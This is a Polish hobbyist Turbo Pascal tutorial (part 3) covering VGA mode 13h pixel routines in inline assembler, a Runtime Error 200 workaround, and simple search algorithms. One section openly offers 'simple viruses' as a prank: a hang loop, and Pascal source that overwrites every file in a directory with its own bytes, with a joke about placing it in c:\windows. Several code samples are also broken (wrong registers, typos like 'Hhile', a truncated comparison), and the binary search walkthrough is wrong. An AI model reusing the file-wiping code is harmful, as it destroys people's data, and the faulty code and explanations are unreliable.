Kurs programowania w TP - część 3
Raper3d
Witam, witam w trzeciej już części kursu paskala. Dostałem od was lawinę listów. Niezmiernie mnie to cieszy, choć doszukałem się paru bluzgów :)). Dzisiaj uzupełnienie modułu DOS, trochę wariacji z trybem 13h, naaaaaajprostsze wirusy jakie mogą być i jeszcze się coś tam skubnie. Let's go!
19.Tryb 13h, ciąg dalszy
No, postawmy sobie pytanie, jak postawić punkt w 320x200x256. Posługując się pascalem moglibyśmy napisać tak:
Procedure putpixel(x,y:integer;c:byte); Begin Mem[$0A000:y*320+x]:=c; End;
No tak, ale lepiej użyć asemblera. Wywołujemy funkcję 0Ch, do AL wrzucamy kolor pikselka, do CX wrzucamy pozycję X, a do DX pozycję Y i na końcu wywołujemy przerwanie 10h. Gdybyście jednak mieli kłopoty z implementacją to spójrzcie poniżej:
Procedure putpixel(x,y:integer;c:byte);Assembler; Asm mov ax,0Ch mov al,c mov cx,x mov dx,x int 10h End;
Gotowe! Mamy funkcję ustawiającą piksel. Teraz funkcja getpixel:
Function getpixel(x,y:integer):byte;Assembler; Asm mov ax,y mov bx,320 mul bx add ax,x mov dx,0A000h mov es,dx mov di,ax mov al,es:[di] End;
Jeśli chcecie procedur do rysowania linii itd. to są one na mojej stronie (link poniżej). Teraz na podsumowanie twojej wiedzy asemblerowej, napisz program, w którym będzie tylko jedna wielka wstawka asemblerowa. Program ma wyświetlić piksel na pozycji 10,10 i zaczekać na naciśnięcie klawisza. Już się pomęczyłeś? Nie wyszło? No to patrz i się ucz :)).
Begin Asm mov ax,13h int 10h {inicjacja trybu 13h} mov ah,0Ch mov al,100 mov cx,10 mov dx,10 int 10h {wyświetlenie piksela}
mov ax,11h int 16h cmp ax,0 jz @exit @exit: {czekanie na naciśnięcie klawisza}
mov ax,3h int 10h {powrót do trybu tekstowego}
mov ax,4C01h int 21h {wyjście z programu} End; End.
Teraz bez problemu powinieneś to przenieść do czystego ASMa. Dla większych informacji o asemblerze powinieneś zasięgnąć na moją stronę.
20.RUNTIME ERROR 200 - PRZECZYTAĆ TO! Ja już o tym pisałem, ale dostałem około 10 listów, z pytaniem jak to ominąć. Może punktami:
1.Wchodzisz na www.raper3d.prv.pl 2.Wchodzisz do działu RE200 3.Ściągasz załączony tam moduł(boja 3KB) 4.Przegrywasz go do katalogu TP\UNITS 5.W programie wpisujesz USES CRT2;
Mam nadzieję, że wszystko jasne. Na mojej stronie znajduje się cały opis tego buracka, ale i tak nikomu się nie będzie chciało tego czytać :)).
21.Zajebiście proste wirusy Te wirusy są niesamowicie proste, więc nie wyczyścicie tutaj HDDka ani nic takiego. Chociaż... wysłałem kiedyś qmplowi plik tekstowy, a było w nim napisane że ma wirusa manualnego, czyli musi sam sobie usunąć dane z dysku. Od razu zadzwonił po mnie o pomoc :)))))). Pierwszy "wirus" będzie zawieszał komputer.
... asm @a: jmp @a end; ...
Możemy tak zrobić, np. po wykonanej jusz twórczej pracy wirusa. Następnym cyckiem będzie program czyszczący wszystkie pliki w danym katalogu(wgrajcie go do c:\windows hehe). {$i-} Uses dos; Const C=x; {tutaj wpisz wielkość pliku} Var F : file; V : array[1..c] of char; S : searchrec; Begin Assign(f,paramstr(0)); Reset(f,1); Blockread(f,v,c); Findfirst('*.*',32,s); Hhile doserror=0 do Begin Assign(f,s.name); Rewrite(f,1); Blockwrite(f,v,c); Close(f); Findnext(s) End; end.
Ehehehehehe. Virus czyści WSZYstkie pliki w qatalogu. Zróbcie, żeby potem zawieszał komputer.
22.MODUŁ DOS - dokończenie Sorry, ale pisałem to dwie godziny i mi prąd wyłączyli. Wziąłem wszystko w cholerę(qrde, jak mają wyłączyć prąd na pół dnia to chyba powinni krwa coś ostrzedz no nie?).
23.ALGORYTMY Zajme się tutaj podstawowymi i najprostszymi algorytmami(bo tylko takie umiem hyhyhy). Niektózi mają jednak z nimi wiele problemów. Więcej algorytmów na mojej stronie(link gdzieś tu qrde powinien być(tu jest!(a nie sorry(chyba tu(nie no coś ty(przecież jest tu(nie picuj bo jest tu(sorry, jest gdzieś na dole(gdzie?(na dole strony(aaa(jest faktycznie(dzieki(a, nie ma za co )))))))))))))).
WYSZUKIWANIE NAJWIĘKSZEGO I NAJMNIEJSZEGO ELEMENTU W TABLICY Jest do bardzo prosty algorytm. Ustalamy liczbę maxymalną na np. -2001. Zepętlamy do ilości komórek: jeśli np. tab[10] jest większe niż ta liczba, wtedy zmienna max jest równa tab[10]. I tak w kółko, podobnie postępujemy x minimalną liczbą. Jakby ktoś miał problem z implementacją to macie co chcecie:
Uses crt; Const Ilosc=4; {ilość liczb} Var I,min,max:integer; Tab:array[1..50] of integer;
Begin Clrscr; For i:=1 to ilosc do readln(a[i]); Min:=32767; Max:=-32767; For i:=1 to ilosc do begin If a[i]>max then max:=a[i]; If a[i] End; Writeln('Min= ',min,' Max= ',max); Eepeat until keypressed; End.
WYSZUKIWANIE LINIOWE I BINARNE
Gdybyś chciał zanleźć jakiś element w swojej tablicy, to szukałbyś po kolei sprawdzając czy w danej komórce jest szukana liczba. Prosty przykład:
... For i:=1 to ilosc_komorek do if tablica[i]:=szukany then index:=i; Writeln('Szukana liczba ',szukany,' jest w elemencie ',index); ...
To jest właśnie przeszukiwanie liniowe. Jest ono bardzo wolne, ale dla małych tablic będzie w sam raz. Ale powiedzmy, że robisz grę, i musisz to często robić. Wtedy musisz zastosować przeszukiwanie binarne. Jest to jakby zgadywanie liczb. Dla dużych tablic jest to po prostu zbawienie. Gdzie tkwi kruszek? Tablica musi być posortowana :)).
Zasada działania rysuje się mniej-więcej tak:
Mamy tablicę 5 liczb: 1, 20, 60, 88, 120. Szukamy liczby 88. Bierzemy teraz najmniejszą potęgę dwójki większą niż liczba elementów tablicy. Jest nią ofkoz 8. Teraz i := 1. tab[1] < 88, dlatego dzielę deltę na 2 i powiększam o nią I. Więc: i := 1 + 4 = 5 Piąty zaś element tablicy jest z kolei znowu za duży, dlatego dziele deltę na 2, zmienna I zostaje o nią pomniejszona: i := 5 - 2 = 3 Trzecim elementem jest rzeczywiście 88. Podoba się? :))
24.LINKI www.raper3d.prv.pl - hehe, moja pege o programowaniu www.kaj.prv.pl - super strona o programowaniu www.pikpok.prv.pl - głównie pliki do ściągnięcia www.sex.pl - eeeee, to chyba nie to :) http://strony.wp.pl/mikubicki - strona mojego kolegi, trochę o asm i cpp www.pcbprog.prv.pl - strona mojego innego kolegi. Programowanie w Paszczalu, Bascomie i grafiki www.debiluus.prv.pl - nie wiem czy ta strona jeszcze istnieje, ale kiedyś była cool
25.CO DALEJ? Co dalej zrobić? N apewno kupić sobie jakąś książkę i majstrować z algorytmami. Jest to baaardzo nudne, ale dodaje duże szansę na olimpiadzie informatycznej. Możecie porobić jakieś efekty graficzne i spróbować swoich sił w C++ czy asemblerze. Nie róbcie sobie przerw na dwa miechy, bo zapomnicie wiele rzeczy. Kombinujcie!
26.THE END Czas się pożegnać gdyż kursu nastał kreeeeeeeees :)))). Mam nadzieję, że zrobiłem coś dla ogułu jak prawdziwy żołnierz. Odmaszerować! :)))
Raper3d
e-mail: rapper3d@poczta.onet.pl www.raper3d.prv.pl
|